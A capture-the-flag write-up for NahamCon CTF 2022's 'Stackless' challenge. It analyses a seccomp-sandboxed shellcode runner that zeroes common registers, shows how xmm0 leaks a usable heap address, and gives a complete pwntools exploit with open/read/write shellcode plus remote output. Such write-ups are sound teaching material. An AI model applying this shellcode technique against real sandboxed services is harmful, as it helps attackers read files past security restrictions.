# NahamCon CTF 2022
## Stackless
> Oh no my stack!!!! >> Author: @M_alpha#3534>> [`stackless.c`](stackless.c) [`stackless`](stackless) [`Makefile`](Makefile) [`Dockerfile`](Dockerfile)
Tags: _pwn_ _x86-64_ _shellcode_ _seccomp_ 
## Summary
Classic shellcode runner constrained by seccomp with _common_ registers reset for the lulz.
## Analysis
### Checksec
```    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled```
All mitigations in place.  Finally.
> BTW, you get all this sweet sweet security for free with `gcc -O2`.
### Source Included
```c    signal(SIGALRM, timeout);    alarm(60);    sandbox();
    __asm__ volatile (".intel_syntax noprefix\n"                      "mov r15, %[addr]\n"                      "xor rax, rax\n"                      "xor rbx, rbx\n"                      "xor rcx, rcx\n"                      "xor rdx, rdx\n"                      "xor rsp, rsp\n"                      "xor rbp, rbp\n"                      "xor rsi, rsi\n"                      "xor rdi, rdi\n"                      "xor r8, r8\n"                      "xor r9, r9\n"                      "xor r10, r10\n"                      "xor r11, r11\n"                      "xor r12, r12\n"                      "xor r13, r13\n"                      "xor r14, r14\n"                      "jmp r15\n" ".att_syntax"::[addr] "r"(code));```
Since this is just a standard shellcode runner, I'm not going to include the entire source here--just submit shellcode and it runs it for you; simple as that.
Above are the constraints.
First, `sandbox` is called to setup a seccomp filter.  A more compact way to examine this is with `seccomp-tools`:
```bash# seccomp-tools dump ./stacklessShellcode length1Shellcode1 line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013 0005: 0x15 0x06 0x00 0x00000000  if (A == read) goto 0012 0006: 0x15 0x05 0x00 0x00000001  if (A == write) goto 0012 0007: 0x15 0x04 0x00 0x00000002  if (A == open) goto 0012 0008: 0x15 0x03 0x00 0x00000003  if (A == close) goto 0012 0009: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0012 0010: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0012 0011: 0x06 0x00 0x00 0x80000000  return KILL_PROCESS 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0013: 0x06 0x00 0x00 0x00000000  return KILL```
We're limited to `read`, `write`, `open`, `close`, `exit`, and `exit_group` syscalls.
The second constraint is actually more of a dick move--the _common_ registers are reset (zeroed).  Including `r15` since a 3-byte instruction is prepended to your submitted shellcode to reset `r15` before your code starts to run.
With `rsp` zeroed and PIE enabled, we have no idea where in memory what we can use as a scratchpad to read in and emit the flag from.
However, our lulzy challenge author was not thorough and left a number of _uncommon_ registered set.  From `gdb` use `i all-r`.
`xmm0` looked most promising:
```gef➤  i r xmm0xmm0           {  v4_float = {0x41000000, 0x0, 0x0, 0x0},  v2_double = {0x0, 0x0},  v16_int8 = {0x10, 0xa4, 0x55, 0x55, 0x55, 0x55, 0x0, 0x0, 0xe0, 0xab, 0xf8, 0xf7, 0xff, 0x7f, 0x0, 0x0},  v8_int16 = {0xa410, 0x5555, 0x5555, 0x0, 0xabe0, 0xf7f8, 0x7fff, 0x0},  v4_int32 = {0x5555a410, 0x5555, 0xf7f8abe0, 0x7fff},  v2_int64 = {0x55555555a410, 0x7ffff7f8abe0},  uint128 = 0x7ffff7f8abe0000055555555a410}```
Specifically `v2_int64 = {0x55555555a410, 0x7ffff7f8abe0},`.
Comparing to my memory map:
```gef➤  vmmap[ Legend:  Code | Heap | Stack ]Start              End                Offset             Perm Path0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /pwd/datajerk/nahamconctf2022/stackless/stackless0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /pwd/datajerk/nahamconctf2022/stackless/stackless0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /pwd/datajerk/nahamconctf2022/stackless/stackless0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /pwd/datajerk/nahamconctf2022/stackless/stackless0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /pwd/datajerk/nahamconctf2022/stackless/stackless0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]```
It looks like that first location is in the next page after the heap and the heap is `rw`--exactly what we need for a scratchpad.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./stackless', checksec=False)
if args.REMOTE:    p = remote('challenge.nahamcon.com', 30375)else:    p = process(binary.path)
shellcode = asm(f'''movq r15, xmm0sub r15, 0x1000
lea rdi, [rip+flag]mov rax, {constants.SYS_open}syscall
mov rdi, raxmov rsi, r15mov rdx, 100mov rax, {constants.SYS_read}syscall
mov rdx, raxmov rdi, {constants.STDOUT_FILENO}mov rax, {constants.SYS_write}syscallhlt
flag: .asciz "flag.txt"''')
if not args.REMOTE: print(disasm(shellcode))
p.sendlineafter(b'length\n', str(len(shellcode)).encode())p.sendlineafter(b'code\n', shellcode)flag = p.recvline().strip().decode()p.close()print(flag)```
The `shellcode` should be fairly obvious:
1. Get the location from `xmm0` that is in the page after the heap and subtract `0x1000` from it.2. Open `flag.txt`3. Read `flag.txt` into heap.4. Write to stdout.
Output:
```bash# ./exploit.py REMOTE=1[+] Opening connection to challenge.nahamcon.com on port 30831: Done[*] Closed connection to challenge.nahamcon.com port 30831flag{2e5016f202506a14de5e8d2c7285adfa}```